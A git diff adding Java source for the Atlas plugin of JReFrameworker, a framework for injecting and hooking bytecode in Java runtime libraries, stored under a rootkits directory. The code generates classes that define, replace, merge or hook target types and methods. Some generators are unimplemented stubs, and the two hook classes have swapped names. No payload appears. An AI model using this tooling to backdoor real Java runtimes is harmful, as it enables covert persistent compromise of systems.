com.jreframeworker.core.JReFrameworkerProject; + +public class DefineField extends FieldGenerator { + + @Override + public String getName() { + return "Define"; + } + + @Override + public String getDescription() { + return "Defines a new field."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject); + + // TODO: finish implementation + + return atlasProject.defineFields(input); + } + + @Override + protected String[] getSupportedNodeTags() { + return new String[]{ XCSG.Java.Class }; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/FieldGenerator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/FieldGenerator.java new file mode 100644 index 0000000..2e5701d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/FieldGenerator.java @@ -0,0 +1,23 @@ +package com.jreframeworker.atlas.codegen.generators.field; + +import com.ensoftcorp.atlas.core.xcsg.XCSG; +import com.jreframeworker.atlas.codegen.CodeGenerator; + +public abstract class FieldGenerator extends CodeGenerator { + + @Override + public String getCategory() { + return "Field"; + } + + @Override + protected String[] getSupportedNodeTags() { + return new String[]{ XCSG.ClassVariable, XCSG.InstanceVariable }; + } + + @Override + protected String[] getSupportedEdgeTags() { + return NOTHING; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/PurgeField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/PurgeField.java new file mode 100644 index 0000000..d3d8079 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/PurgeField.java @@ -0,0 +1,28 @@ +package com.jreframeworker.atlas.codegen.generators.field; + +import java.io.File; +import java.util.HashSet; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.core.JReFrameworkerProject; + +public class PurgeField extends FieldGenerator { + + @Override + public String getName() { + return "Purge"; + } + + @Override + public String getDescription() { + return "Removes an existing field."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + // TODO: implement + return new HashSet(); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/ReplaceField.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/ReplaceField.java new file mode 100644 index 0000000..e799970 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/field/ReplaceField.java @@ -0,0 +1,28 @@ +package com.jreframeworker.atlas.codegen.generators.field; + +import java.io.File; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject; +import com.jreframeworker.core.JReFrameworkerProject; + +public class ReplaceField extends FieldGenerator { + + @Override + public String getName() { + return "Replace"; + } + + @Override + public String getDescription() { + return "Replaces an existing field."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject); + return atlasProject.replaceFields(input); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/DefineMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/DefineMethod.java new file mode 100644 index 0000000..ff7fe20 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/DefineMethod.java @@ -0,0 +1,34 @@ +package com.jreframeworker.atlas.codegen.generators.method; + +import java.io.File; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.ensoftcorp.atlas.core.xcsg.XCSG; +import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject; +import com.jreframeworker.core.JReFrameworkerProject; + +public class DefineMethod extends MethodGenerator { + + @Override + public String getName() { + return "Define"; + } + + @Override + public String getDescription() { + return "Defines a new method."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject); + return atlasProject.defineMethods(input); + } + + @Override + protected String[] getSupportedNodeTags() { + return new String[]{ XCSG.Java.Class }; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookAfterMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookAfterMethod.java new file mode 100644 index 0000000..d880911 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookAfterMethod.java @@ -0,0 +1,28 @@ +package com.jreframeworker.atlas.codegen.generators.method; + +import java.io.File; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject; +import com.jreframeworker.core.JReFrameworkerProject; + +public class HookAfterMethod extends MethodGenerator { + + @Override + public String getName() { + return "Hook Before"; + } + + @Override + public String getDescription() { + return "Inserts functionality before a method invocation."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject); + return atlasProject.addPreExecutionMethodHooks(input); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookBeforeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookBeforeMethod.java new file mode 100644 index 0000000..fe3825d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/HookBeforeMethod.java @@ -0,0 +1,28 @@ +package com.jreframeworker.atlas.codegen.generators.method; + +import java.io.File; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject; +import com.jreframeworker.core.JReFrameworkerProject; + +public class HookBeforeMethod extends MethodGenerator { + + @Override + public String getName() { + return "Hook After"; + } + + @Override + public String getDescription() { + return "Inserts functionality after a method invocation."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject); + return atlasProject.addPostExecutionMethodHooks(input); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MergeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MergeMethod.java new file mode 100644 index 0000000..54e9250 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MergeMethod.java @@ -0,0 +1,28 @@ +package com.jreframeworker.atlas.codegen.generators.method; + +import java.io.File; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject; +import com.jreframeworker.core.JReFrameworkerProject; + +public class MergeMethod extends MethodGenerator { + + @Override + public String getName() { + return "Merge"; + } + + @Override + public String getDescription() { + return "Merges functionality into an existing method."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject); + return atlasProject.mergeMethods(input); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MethodGenerator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MethodGenerator.java new file mode 100644 index 0000000..6c5a00b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/MethodGenerator.java @@ -0,0 +1,23 @@ +package com.jreframeworker.atlas.codegen.generators.method; + +import com.ensoftcorp.atlas.core.xcsg.XCSG; +import com.jreframeworker.atlas.codegen.CodeGenerator; + +public abstract class MethodGenerator extends CodeGenerator { + + @Override + public String getCategory() { + return "Method"; + } + + @Override + protected String[] getSupportedNodeTags() { + return new String[]{ XCSG.Method }; + } + + @Override + protected String[] getSupportedEdgeTags() { + return NOTHING; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/PurgeMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/PurgeMethod.java new file mode 100644 index 0000000..38d312e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/PurgeMethod.java @@ -0,0 +1,28 @@ +package com.jreframeworker.atlas.codegen.generators.method; + +import java.io.File; +import java.util.HashSet; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.core.JReFrameworkerProject; + +public class PurgeMethod extends MethodGenerator { + + @Override + public String getName() { + return "Purge"; + } + + @Override + public String getDescription() { + return "Removes an existing method."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + // TODO: implement + return new HashSet(); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/ReplaceMethod.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/ReplaceMethod.java new file mode 100644 index 0000000..ce5f5ad --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/method/ReplaceMethod.java @@ -0,0 +1,28 @@ +package com.jreframeworker.atlas.codegen.generators.method; + +import java.io.File; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject; +import com.jreframeworker.core.JReFrameworkerProject; + +public class ReplaceMethod extends MethodGenerator { + + @Override + public String getName() { + return "Replace"; + } + + @Override + public String getDescription() { + return "Replaces an existing method."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject); + return atlasProject.replaceMethods(input); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/DefineType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/DefineType.java new file mode 100644 index 0000000..f0c33e6 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/DefineType.java @@ -0,0 +1,33 @@ +package com.jreframeworker.atlas.codegen.generators.type; + +import java.io.File; +import java.util.HashSet; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.core.JReFrameworkerProject; + +public class DefineType extends TypeGenerator { + + @Override + public String getName() { + return "Define"; + } + + @Override + public String getDescription() { + return "Defines a new type."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + // TODO: implement + return new HashSet(); + } + + @Override + protected String[] getSupportedNodeTags() { + return EVERYTHING; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/MergeType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/MergeType.java new file mode 100644 index 0000000..255ac01 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/MergeType.java @@ -0,0 +1,28 @@ +package com.jreframeworker.atlas.codegen.generators.type; + +import java.io.File; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject; +import com.jreframeworker.core.JReFrameworkerProject; + +public class MergeType extends TypeGenerator { + + @Override + public String getName() { + return "Merge"; + } + + @Override + public String getDescription() { + return "Merges functionality into an existing type."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject); + return atlasProject.mergeTypes(input); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/PurgeType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/PurgeType.java new file mode 100644 index 0000000..f3faa2c --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/PurgeType.java @@ -0,0 +1,28 @@ +package com.jreframeworker.atlas.codegen.generators.type; + +import java.io.File; +import java.util.HashSet; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.core.JReFrameworkerProject; + +public class PurgeType extends TypeGenerator { + + @Override + public String getName() { + return "Purge"; + } + + @Override + public String getDescription() { + return "Removes an existing type."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + // TODO: implement + return new HashSet(); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/ReplaceType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/ReplaceType.java new file mode 100644 index 0000000..4beafa4 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/ReplaceType.java @@ -0,0 +1,28 @@ +package com.jreframeworker.atlas.codegen.generators.type; + +import java.io.File; +import java.util.Set; + +import com.ensoftcorp.atlas.core.query.Q; +import com.jreframeworker.atlas.projects.JReFrameworkerAtlasProject; +import com.jreframeworker.core.JReFrameworkerProject; + +public class ReplaceType extends TypeGenerator { + + @Override + public String getName() { + return "Replace"; + } + + @Override + public String getDescription() { + return "Replaces an existing type."; + } + + @Override + public Set generateCode(JReFrameworkerProject jrefProject, Q input) { + JReFrameworkerAtlasProject atlasProject = new JReFrameworkerAtlasProject(jrefProject); + return atlasProject.replaceTypes(input); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/TypeGenerator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/TypeGenerator.java new file mode 100644 index 0000000..5bfc00c --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/codegen/generators/type/TypeGenerator.java @@ -0,0 +1,23 @@ +package com.jreframeworker.atlas.codegen.generators.type; + +import com.ensoftcorp.atlas.core.xcsg.XCSG; +import com.jreframeworker.atlas.codegen.CodeGenerator; + +public abstract class TypeGenerator extends CodeGenerator { + + @Override + public String getCategory() { + return "Type"; + } + + @Override + protected String[] getSupportedNodeTags() { + return new String[]{ XCSG.Java.Class }; + } + + @Override + protected String[] getSupportedEdgeTags() { + return NOTHING; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/log/Log.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/log/Log.java new file mode 100644 index 0000000..dbd0939 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/log/Log.java @@ -0,0 +1,55 @@ +package com.jreframeworker.atlas.log; + +import org.eclipse.core.runtime.ILog; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.Status; +import org.osgi.framework.Bundle; +import org.osgi.framework.BundleContext; + +import com.jreframeworker.atlas.Activator; + +/** + * Centralized logging for Eclipse plugins. + */ +public class Log { + private static ILog log; + + static { + BundleContext context = Activator.getDefault().getBundle().getBundleContext(); + if (context != null) { + Bundle bundle = context.getBundle(); + log = Platform.getLog(bundle); + } + } + + public static void error(String message, Throwable e) { + log(Status.ERROR, message, e); + } + + public static void warning(String message) { + warning(message, null); + } + + public static void warning(String message, Throwable e) { + log(Status.WARNING, message, e); + } + + public static void info(String message) { + info(message, null); + } + + public static void info(String message, Throwable e) { + log(Status.INFO, message, e); + } + + public static void log(int severity, String string, Throwable e) { + if(log == null){ + System.err.println(string + "\n" + e); + } else { + IStatus status = new Status(severity, Activator.PLUGIN_ID, string, e); + log.log(status); + } + } +} + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JREF.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JREF.java new file mode 100644 index 0000000..74c3541 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JREF.java @@ -0,0 +1,82 @@ +package com.jreframeworker.atlas.projects; + +import java.io.IOException; +import java.net.URISyntaxException; + +import javax.xml.parsers.ParserConfigurationException; +import javax.xml.transform.TransformerException; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.jdt.core.JavaCore; +import org.xml.sax.SAXException; + +import com.jreframeworker.builder.JReFrameworkerNature; +import com.jreframeworker.core.BuildFile; +import com.jreframeworker.core.JReFrameworker; +import com.jreframeworker.core.JReFrameworkerProject; + +public class JREF { + + /** + * Creates or opens a JReFrameworker project + * @param projectName + * @return + * @throws CoreException + * @throws IOException + * @throws URISyntaxException + * @throws TransformerException + * @throws ParserConfigurationException + * @throws SAXException + */ + public static JReFrameworkerAtlasProject create(String projectName) throws CoreException, IOException, URISyntaxException, TransformerException, ParserConfigurationException, SAXException { + try { + return open(projectName); + } catch (Exception e) { + BuildFile.Target[] targets = new BuildFile.Target[]{}; + IStatus status = JReFrameworker.createProject(projectName, ResourcesPlugin.getWorkspace().getRoot().getLocation(), new NullProgressMonitor(), targets); + if(status.isOK()){ + return open(projectName); + } else { + throw new IllegalArgumentException("Project could not be created."); + } + } + } + + /** + * Opens a JReFrameworker project + * @param projectName + * @return + * @throws CoreException + * @throws IOException + * @throws URISyntaxException + * @throws TransformerException + * @throws ParserConfigurationException + * @throws SAXException + */ + public static JReFrameworkerAtlasProject open(String projectName) throws CoreException, IOException, URISyntaxException, TransformerException, ParserConfigurationException, SAXException { + IProject project = ResourcesPlugin.getWorkspace().getRoot().getProject(projectName); + if(project.exists()){ + try { + // open project if it is closed + if(!project.isOpen()){ + project.open(new NullProgressMonitor()); + } + // if the project is a JReFrameworker project + if(project.hasNature(JReFrameworkerNature.NATURE_ID) && project.hasNature(JavaCore.NATURE_ID)){ + return new JReFrameworkerAtlasProject(new JReFrameworkerProject(project)); + } else { + throw new IllegalArgumentException("Project is not a valid JReFrameworker project."); + } + } catch (CoreException e) { + throw new IllegalArgumentException("Error opening project."); + } + } else { + throw new IllegalArgumentException("Project does not exist."); + } + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JReFrameworkerAtlasProject.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JReFrameworkerAtlasProject.java new file mode 100644 index 0000000..f359c49 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JReFrameworkerAtlasProject.java @@ -0,0 +1,781 @@ +package com.jreframeworker.atlas.projects; + +import java.io.File; +import java.io.FileWriter; +import java.io.IOException; +import java.net.URISyntaxException; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Set; + +import javax.lang.model.element.Modifier; +import javax.xml.parsers.ParserConfigurationException; +import javax.xml.transform.TransformerException; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.jdt.core.JavaModelException; +import org.xml.sax.SAXException; + +import com.ensoftcorp.atlas.core.db.graph.Node; +import com.ensoftcorp.atlas.core.db.set.AtlasSet; +import com.ensoftcorp.atlas.core.log.Log; +import com.ensoftcorp.atlas.core.query.Q; +import com.ensoftcorp.atlas.core.xcsg.XCSG; +import com.jreframeworker.annotations.methods.MergeMethod; +import com.jreframeworker.annotations.types.DefineType; +import com.jreframeworker.annotations.types.DefineTypeFinality; +import com.jreframeworker.annotations.types.DefineTypeVisibility; +import com.jreframeworker.annotations.types.MergeType; +import com.jreframeworker.atlas.analysis.ClassAnalysis; +import com.jreframeworker.atlas.analysis.MethodAnalysis; +import com.jreframeworker.atlas.analysis.MethodAnalysis.Return; +import com.jreframeworker.common.RuntimeUtils; +import com.jreframeworker.core.JReFrameworkerProject; +import com.squareup.javapoet.AnnotationSpec; +import com.squareup.javapoet.ArrayTypeName; +import com.squareup.javapoet.JavaFile; +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.ParameterSpec; +import com.squareup.javapoet.TypeName; +import com.squareup.javapoet.TypeSpec; + +public class JReFrameworkerAtlasProject { + + @SuppressWarnings("rawtypes") + private Class searchClasspathForClass(String className) throws SAXException, IOException, ParserConfigurationException, JavaModelException { + ArrayList classLoaders = new ArrayList(); + classLoaders.add(getClass().getClassLoader()); + for (String targetJar : listTargets()) { + File originalJar = RuntimeUtils.getClasspathJar(targetJar, project); + URL[] jarURL = { new URL("jar:file:" + originalJar.getCanonicalPath() + "!/") }; + classLoaders.add(URLClassLoader.newInstance(jarURL)); + } + for(ClassLoader classLoader : classLoaders){ + try{ + return classLoader.loadClass(className); + } catch (Exception e){ + continue; + } + } + throw new RuntimeException("Class not found"); + } + + private JReFrameworkerProject project; + + public JReFrameworkerAtlasProject(JReFrameworkerProject project) { + this.project = project; + } + + /** + * Returns the Eclipse project resource + * @return + */ + public JReFrameworkerProject getProject(){ + return project; + } + + public void refresh() throws CoreException { + project.refresh(); + } + + /** + * Lists the JReFrameworker project targets + * @return + * @throws SAXException + * @throws IOException + * @throws ParserConfigurationException + */ + public Set listTargets() throws SAXException, IOException, ParserConfigurationException { + return project.listTargets(); + } + + /** + * Adds a target from the JReFrameworker project + * @throws CoreException + * @throws URISyntaxException + */ + public void addTarget(File targetLibrary) throws TransformerException, ParserConfigurationException, SAXException, IOException, URISyntaxException, CoreException { + project.addTarget(targetLibrary); + } + + /** + * Adds a target with the given relative library directory + * @param targetLibrary + * @param relativeLibraryDirectory + * @throws TransformerException + * @throws ParserConfigurationException + * @throws SAXException + * @throws IOException + * @throws URISyntaxException + * @throws CoreException + */ + public void addTarget(File targetLibrary, String relativeLibraryDirectory) throws TransformerException, ParserConfigurationException, SAXException, IOException, URISyntaxException, CoreException { + project.addTarget(targetLibrary, relativeLibraryDirectory); + } + + /** + * Removes a target from the JReFrameworker project + */ + public void removeTarget(String target) throws TransformerException, ParserConfigurationException, SAXException, IOException { + project.removeTarget(target); + } + + /** + * Creates logic to define a new class with the specified javadoc comment + * + * Example: defineType("com.test", "HelloWorld") + * @param sourcePackageName + * @param sourceClassName + * @throws IOException + * @throws CoreException + */ + public Set defineType(String sourcePackageName, String sourceClassName, String javadoc) { + Set sourceFiles = new HashSet(); + sourcePackageName = sourcePackageName.trim(); + checkPackageName(sourcePackageName); + + try { + TypeSpec type = TypeSpec.classBuilder(sourceClassName) + .addModifiers(Modifier.PUBLIC) + .addAnnotation(DefineType.class) + .addJavadoc(javadoc) + .build(); + + JavaFile javaFile = JavaFile.builder(sourcePackageName, type) + .build(); + + sourceFiles.add(writeSourceFile(sourcePackageName, sourceClassName, javaFile)); + } catch (Throwable t){ + Log.error("Error creating define type logic", t); + } + + return sourceFiles; + } + + /** + * Creates logic to define a new class + * + * Example: defineType("com.test", "HelloWorld") + * @param packageName + * @param sourceClassName + * @throws IOException + * @throws CoreException + */ + public Set defineType(String sourcePackageName, String sourceClassName) { + String javadoc = "TODO: Implement class body" + + "\n\nThe entire contents of this class's bytecode will" + + "\nbe injected into the target's \"" + sourcePackageName + "\" package.\n"; + return defineType(sourcePackageName, sourceClassName, javadoc); + } + + /** + * Creates logic to replace a class in the given class target + * @param targetClass + */ + public Set replaceType(String sourcePackageName, String sourceClassName){ + String javadoc = "TODO: Implement class body" + + "\n\nThe entire contents of this class's bytecode will" + + "\nbe used to replace " + sourcePackageName + "." + sourceClassName + " in the target.\n"; + return defineType(sourcePackageName, sourceClassName, javadoc); + } + + /** + * Creates logic to replace a class in the given class targets + * @param targetClass + */ + public Set replaceTypes(Q targetClasses){ + return replaceTypes(targetClasses.nodes(XCSG.Java.Class).eval().nodes()); + } + + /** + * Creates logic to replace a class in the given class targets + * @param targetClass + */ + public Set replaceTypes(AtlasSet targetClasses){ + Set sourceFiles = new HashSet(); + for(Node targetClass : targetClasses){ + sourceFiles.addAll(replaceType(targetClass)); + } + return sourceFiles; + } + + /** + * Creates logic to replace a class in the given class target + * @param targetClass + */ + public Set replaceType(Node targetClass){ + Set sourceFiles = new HashSet(); + if(targetClass.taggedWith(XCSG.Java.Class)){ + String sourceClassName = ClassAnalysis.getName(targetClass); + String sourcePackageName = ClassAnalysis.getPackage(targetClass); + sourceFiles.addAll(replaceType(sourcePackageName, sourceClassName)); + } + return sourceFiles; + } + + /** + * Creates a new class with that contains a DefineTypeFinality annotation + * set to the type specified by the given sourcePackageName and sourceClassName values + * with the given finality + * + * @param sourcePackageName + * @param sourceClassName + * @param finality + */ + public Set setTypeFinality(String sourcePackageName, String sourceClassName, String targetClassPackageName, String targetClassName, boolean finality){ + Set sourceFiles = new HashSet(); + sourcePackageName = sourcePackageName.trim(); + checkPackageName(sourcePackageName); + checkPackageName(targetClassPackageName); + try { + String javadoc = "Runs as a first pass to set type finality.\n"; + + TypeSpec type = TypeSpec.classBuilder(sourceClassName) + .addModifiers(Modifier.PUBLIC) + .addAnnotation(AnnotationSpec.builder(DefineTypeFinality.class) + .addMember("type", ("\"" + targetClassPackageName + "." + targetClassName + "\"")) + .addMember("finality", new Boolean(finality).toString()) + .build()) + .addJavadoc(javadoc) + .build(); + + JavaFile javaFile = JavaFile.builder(sourcePackageName, type) + .build(); + + sourceFiles.add(writeSourceFile(sourcePackageName, sourceClassName, javaFile)); + } catch (Throwable t){ + Log.error("Error creating define type finality logic", t); + } + + return sourceFiles; + } + + /** + * Creates a new class with that contains a DefineTypeVisibility annotation + * set to the type specified by the given sourcePackageName and sourceClassName values + * with the given finality + * + * @param sourcePackageName + * @param sourceClassName + * @param finality + */ + public Set setTypeVisibility(String sourcePackageName, String sourceClassName, String targetClassPackageName, String targetClassName, String visibility){ + Set sourceFiles = new HashSet(); + sourcePackageName = sourcePackageName.trim(); + checkPackageName(sourcePackageName); + checkPackageName(targetClassPackageName); + try { + String javadoc = "Runs as a first pass to set type visibility.\n"; + + TypeSpec type = TypeSpec.classBuilder(sourceClassName) + .addModifiers(Modifier.PUBLIC) + .addAnnotation(AnnotationSpec.builder(DefineTypeVisibility.class) + .addMember("type", ("\"" + targetClassPackageName + "." + targetClassName + "\"")) + .addMember("visibility", ("\"" + visibility + "\"")) + .build()) + .addJavadoc(javadoc) + .build(); + + JavaFile javaFile = JavaFile.builder(sourcePackageName, type) + .build(); + + sourceFiles.add(writeSourceFile(sourcePackageName, sourceClassName, javaFile)); + } catch (Throwable t){ + Log.error("Error creating define type visibility logic", t); + } + return sourceFiles; + } + + /** + * Creates a new class with that contains a DefineMethodFinality annotation + * set to the type specified by the given sourcePackageName and sourceClassName values + * with the given target method overridden and finality set + * + * @param sourceClassPackageName + * @param sourceClassName + * @param targetClassPackageName + * @param targetClassName + * @param targetClassName + * @param finality + */ + public Set setMethodFinality(String sourceClassPackageName, String sourceClassName, String targetClassPackageName, String targetClassName, Node targetMethod, boolean finality) { + // TODO: implement + return new HashSet(); + } + + /** + * Creates a new class with that contains a DefineMethodVisibility annotation + * set to the type specified by the given sourcePackageName and sourceClassName values + * with the given target method overridden and visibility set + * + * @param sourceClassPackageName + * @param sourceClassName + * @param targetClassPackageName + * @param targetClassName + * @param targetClassName + * @param visibility + */ + public Set setMethodVisibility(String sourceClassPackageName, String sourceClassName, String 